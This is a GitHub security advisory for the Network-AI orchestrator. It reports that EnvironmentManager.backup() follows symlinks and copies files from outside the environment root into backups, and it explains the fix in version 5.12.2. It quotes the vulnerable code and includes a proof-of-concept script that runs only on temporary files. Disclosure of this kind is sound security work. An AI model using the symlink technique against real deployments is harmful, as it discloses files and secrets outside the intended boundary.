Title

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Summary

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. `_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42

Summary

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Details

Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

lib/env-manager.ts:435-460 — backup copy logic.
lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
bin/cli.ts:413-420 — default CLI exposes backup creation.
lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');

const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, 'utf8'),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

  "details": "### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes(\u0027/\u0027) ? rel.substring(0, rel.lastIndexOf(\u0027/\u0027)) : \u0027.\u0027), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env \u003cenv\u003e`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` \u2014 backup copy logic.\n- `lib/env-manager.ts:596-617` \u2014 symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` \u2014 default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` \u2014 backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup(\u0027dev\u0027)` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\nconst data = path.join(base, \u0027data\u0027);\nconst outside = path.join(base, \u0027outside\u0027);\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, \u0027secret.txt\u0027), \u0027secret-through-symlink\u0027);\n\nconst mgr = new EnvironmentManager(data, {\n  chain: [\u0027dev\u0027, \u0027st\u0027],\n  gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.symlinkSync(outside, path.join(data, \u0027dev\u0027, \u0027linked-outside\u0027), \u0027dir\u0027);\n\nconst result = mgr.backup(\u0027dev\u0027);\nconst copied = path.join(result.path, \u0027linked-outside\u0027, \u0027secret.txt\u0027);\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, \u0027utf8\u0027),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/\u003cenv\u003e` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build.
